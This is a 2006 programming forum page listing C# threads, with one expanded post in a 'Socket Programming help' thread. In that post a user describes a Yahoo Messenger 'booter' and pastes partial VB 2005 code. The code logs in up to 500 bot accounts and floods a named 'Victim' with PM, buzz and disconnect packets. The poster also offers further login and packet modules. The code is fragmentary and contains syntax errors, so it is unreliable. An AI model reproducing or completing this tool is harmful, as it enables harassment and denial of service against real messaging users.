Click here to Skip to main content
15,916,949 members
Home / Discussions / C#
   

C#

 
QuestionGetting coordinates of a piepeace??? Pin
Mukesh Kumar Gupta10-Jan-06 18:13
Mukesh Kumar Gupta10-Jan-06 18:13 
AnswerRe: Getting coordinates of a piepeace??? Pin
leppie10-Jan-06 18:46
leppie10-Jan-06 18:46 
QuestionSocket Programming help Pin
DocH0liday10-Jan-06 17:29
DocH0liday10-Jan-06 17:29 
AnswerRe: Socket Programming help Pin
leppie10-Jan-06 18:48
leppie10-Jan-06 18:48 
AnswerRe: Socket Programming help Pin
Dave Kreskowiak11-Jan-06 4:46
mveDave Kreskowiak11-Jan-06 4:46 
GeneralRe: Socket Programming help Pin
DocH0liday11-Jan-06 6:28
DocH0liday11-Jan-06 6:28 
GeneralRe: Socket Programming help Pin
Dave Kreskowiak11-Jan-06 11:01
mveDave Kreskowiak11-Jan-06 11:01 
GeneralRe: Socket Programming help Pin
DocH0liday11-Jan-06 14:20
DocH0liday11-Jan-06 14:20 
ok let me give a accurate detail of a Booter program since i dont think your completely following me on this...

A booter is a program that sends packets of information to an individual ok, all they need is your Username dosnt matter if your in a chat room or not...If you have a Yahoo Messenger and they have your username they can boot the living snot out of some one..

They get the Packets using CommView,to get the packets you need a 2 way conversation either with a friend etc...As you know CommView will pick up the packets that are sent by the Messenger program...The packets are then modified to be used in the booter program..These packets can range from a Log Off packet,Buzzing some one,Emoticon packets etc..As you know the packets are the bits of information telling the messenger what to do..

A person on the Receiving end can get thousands up message box's, each as you know will use up System Resources for every message box open on the Receivers end...This program does not connect to your IP address what so ever the Username is all that is needed to boot someone..

They type in a username and press a button..and bam they are sending Packets your way...If you need some of the VB6 Code to see what i'm talking about i can provide the code...If you compiled the code you would have a booter program to boot people off of Yahoo..

So here is some of the Code:: This code is updated to "VB 2005"

<code>Option Strict Off
Option Explicit On
Friend Class Form1
Inherits System.Windows.Forms.Form
Dim i As Short
Dim Header As System.Windows.Forms.ColumnHeader
Dim Item As System.Windows.Forms.ListViewItem
Dim x As Short


Private Sub BotsList_SelectedIndexChanged(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles BotsList.SelectedIndexChanged
For Each tsi As ToolStripItem In Me.StatusBar1.Items
If TypeOf tsi Is ToolStripStatusLabel Then
With DirectCast(tsi, ToolStripStatusLabel)
.BorderSides = ToolStripStatusLabelBorderSides.All ' ToolStripStatusLabelBorderSides.Left Or ToolStripStatusLabelBorderSides.Right
.BorderStyle = Border3DStyle.Sunken
End With
End If

Next
On Error Resume Next
For i = 0 To CInt(BotsList.Text)
Socket.Load
YahooID(i) = ListView1.Items.Item(i).SubItems(0).Text
Password(i) = ListView1.Items.Item(i).SubItems(-1).Text
System.Windows.Forms.Application.DoEvents()
Socket(i).Close()
Socket(i).Connect(ServerList.Text, 5050)
If ServerList.SelectedIndex = ServerList.Items.Count + 1 Then
ServerList.SelectedIndex = 1
Else
ServerList.SelectedIndex = ServerList.SelectedIndex + 1
End If
Pause((0.04))
System.Windows.Forms.Application.DoEvents()
Next i
End Sub

Private Sub Command1_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command1.Click
GotoSite("http://www.google.com")
End Sub

Private Sub Command2_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command2.Click
On Error Resume Next
For i = 0 To CInt(BotsList.Text)
ListView1.Items(i).ImageIndex = 1
Socket(i).Close()
StatusBar1.Items.Item(0).Text = "0"
StatusBar1.Items.Item(-1).Text = "Status: Logged Out"
Next i
End Sub

Private Sub Command3_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command3.Click
Dim LTD As String = ""
Dim F As Object
Dim x As Short
If Command3.Text = "Load" Then
Header = ListView1.Columns.Add("", "", CInt(VB6.TwipsToPixelsX(250)))
Header = ListView1.Columns.Add("", "YahooID's", CInt(VB6.TwipsToPixelsX(1900)))
Header = ListView1.Columns.Add("", "", CInt(VB6.TwipsToPixelsX(0)))

F = FreeFile()
With CommonDialog1Open
.FileName = ""
.Title = "Load bots List"
.Filter = "All Supported Types|*.txt"
.ShowDialog()
If .FileName = "" Then Exit Sub
FileOpen(F, .FileName, OpenMode.Input)
While Not EOF(1)
Input(1, LTD)
F = Split(LTD, ":")
If x < 500 Then
Item = ListView1.Items.Add("", 2)
If Item.SubItems.Count > 1 Then
Item.SubItems(1).Text = F(0)
Else
Item.SubItems.Insert(1, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, F(0)))
End If
If Item.SubItems.Count > 2 Then
Item.SubItems(2).Text = F(1)
Else
Item.SubItems.Insert(2, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, F(1)))
End If
x = x + 1
BotsList.Items.Add(CStr(x))
Label4.Text = CStr(CDbl(Label4.Text) +
StatusBar1.Items.Item(1).Text = "Loading....... "
System.Windows.Forms.Application.DoEvents()
End If
End While
FileClose(1)
ListView1.View = System.Windows.Forms.View.Details
End With
Me.Text = "Select How Many Bots To Login"
Pause(1)
x = x + 1
StatusBar1.Items.Item(1).Text = x & " Bots Loaded !!!"
Command3.Text = "Clear"
Command1.Enabled = True
Command2.Enabled = True
Command4.Enabled = True
Command5.Enabled = True
Command6.Enabled = True
Command7.Enabled = True
Command8.Enabled = True
Command9.Enabled = True
Else
BotsList.Items.Clear()
BotsList.Text = "Bots"
ListView1.Items.Clear()
Label4.Text = "0"
Command3.Text = "Load"
End If
End Sub

Private Sub Command4_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command4.Click
StatusBar1.Items.Item(1).Text = "Sending Pm Bomb"
Timer1.Enabled = True
End Sub

Private Sub Command5_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command5.Click
StatusBar1.Items.Item(1).Text = "Pm Bomb Stopped"
Timer1.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Command6_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command6.Click
StatusBar1.Items.Item(1).Text = "Sending Buzz Bomb"
Timer2.Enabled = True
End Sub

Private Sub Command7_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command7.Click
StatusBar1.Items.Item(1).Text = "Buzz Bomb Stopped"
Timer2.Enabled = False
PacketsLabel.Text = "0"
End Sub

Private Sub Command8_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command8.Click
StatusBar1.Items.Item(1).Text = "Sending Dc Packets"
Timer3.Enabled = True
End Sub

Private Sub Command9_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command9.Click
StatusBar1.Items.Item(1).Text = "Silent Dc Stopped"
Timer3.Enabled = False
PacketsLabel.Text = "0"
End Sub

Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
MsgBox("This is a sample of 500 login and 3 boot commands to learn by MEAwww")
End Sub

Private Sub Socket_ConnectEvent(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Socket.ConnectEvent
Dim Index As Short = Socket.GetIndex(eventSender)
Socket(Index).SendData(Data(YahooID(Index)))
End Sub
Private Sub Socket_DataArrival(ByVal eventSender As System.Object, ByVal eventArgs As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles Socket.DataArrival
Dim Index As Short = Socket.GetIndex(eventSender)
Socket(Index).GetData(Buffer(Index))
Debug.Print(Buffer(Index))
If Mid(Buffer(Index), 12, 1) = "W" Then
Sessionkey(Index) = Mid(Buffer(Index), 17, 4)
ChallengeString(Index) = Mid(Buffer(Index), 30 + Len(YahooID(Index)), Len(Buffer(Index)) - 29)
ChallengeString(Index) = Replace(ChallengeString(Index), "&#65533;13&#65533;1&#65533;", "")
Call GetStrings(YahooID(Index), Password(Index), ChallengeString(Index), Crypt1(Index), Crypt2(Index), 1)
'Pause (0.11)
Socket(Index).SendData(Login(YahooID(Index), Crypt1(Index), Crypt2(Index), Sessionkey(Index)))
'Pause (0.44)
ElseIf Mid(Buffer(Index), 12, 1) = "T" Then
StatusBar1.Items.Item(1).Text = YahooID(Index) & ""
Socket(Index).Close()
ElseIf Mid(Buffer(Index), 12, 1) = "U" Then
ListView1.Items(Index).ImageIndex = 0
Sessionkey(Index) = Mid(Buffer(Index), 17, 4)
StatusBar1.Items.Item(2).Text = CStr(CDbl(StatusBar1.Items.Item(2).Text) + 1)
StatusBar1.Items.Item(1).Text = "Status: " & YahooID(Index) & ""
End If
End Sub
Private Sub Socket_Error(ByVal eventSender As System.Object, ByVal eventArgs As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles Socket.Error
Dim Index As Short = Socket.GetIndex(eventSender)
StatusBar1.Items.Item(1).Text = "Status: Error"
Socket(Index).Close()
End Sub

Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(PM(YahooID(i), (Victim.Text)))

End If
Next i
i = i + 1
End Sub

Private Sub Timer2_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer2.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1)
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(Buzz(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub

Private Sub Timer3_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer3.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1)
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(Dc(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub

Private Sub Victim_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Victim.Click
Victim.Text = ""
End Sub
End Class</code>


[b] so this "Code" should give you a better idea,its not all thier so if you need the code for the LogIn etc let me know.Maybe with the code you can get a better idea of what i'm trying to get across,thiers a Module for the Login etc and a module for the Packets..[/b]

Maybe thiers a way to solve this ,Maybe theirs not but I think thier should be away some how...

-- modified at 20:21 Wednesday 11th January, 2006
GeneralRe: Socket Programming help Pin
Dave Kreskowiak11-Jan-06 17:06
mveDave Kreskowiak11-Jan-06 17:06 
GeneralRe: Socket Programming help Pin
DocH0liday11-Jan-06 17:10
DocH0liday11-Jan-06 17:10 
GeneralRe: Socket Programming help Pin
Dave Kreskowiak12-Jan-06 8:15
mveDave Kreskowiak12-Jan-06 8:15 
QuestionOverwrite an image after unload it from a picture box control Pin
t800t810-Jan-06 17:16
t800t810-Jan-06 17:16 
AnswerRe: Overwrite an image after unload it from a picture box control Pin
Christian Graus10-Jan-06 17:38
protectorChristian Graus10-Jan-06 17:38 
GeneralRe: Overwrite an image after unload it from a picture box control Pin
t800t810-Jan-06 17:58
t800t810-Jan-06 17:58 
GeneralRe: Overwrite an image after unload it from a picture box control Pin
Christian Graus10-Jan-06 17:59
protectorChristian Graus10-Jan-06 17:59 
GeneralRe: Overwrite an image after unload it from a picture box control Pin
t800t810-Jan-06 18:01
t800t810-Jan-06 18:01 
GeneralRe: Overwrite an image after unload it from a picture box control Pin
Christian Graus10-Jan-06 18:02
protectorChristian Graus10-Jan-06 18:02 
GeneralRe: Overwrite an image after unload it from a picture box control Pin
t800t810-Jan-06 18:14
t800t810-Jan-06 18:14 
GeneralRe: Overwrite an image after unload it from a picture box control Pin
Dave Kreskowiak11-Jan-06 5:23
mveDave Kreskowiak11-Jan-06 5:23 
Questionhow to resolve overlapped region Pin
s o v a n n10-Jan-06 14:37
s o v a n n10-Jan-06 14:37 
AnswerRe: how to resolve overlapped region Pin
Christian Graus10-Jan-06 14:53
protectorChristian Graus10-Jan-06 14:53 
GeneralRe: how to resolve overlapped region Pin
s o v a n n10-Jan-06 16:07
s o v a n n10-Jan-06 16:07 
GeneralRe: how to resolve overlapped region Pin
Christian Graus10-Jan-06 16:09
protectorChristian Graus10-Jan-06 16:09 
QuestionTest for Scroll Lock State Pin
dmbrider10-Jan-06 14:13
dmbrider10-Jan-06 14:13 
AnswerRe: Test for Scroll Lock State Pin
Curtis Schlak.10-Jan-06 15:57
Curtis Schlak.10-Jan-06 15:57 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.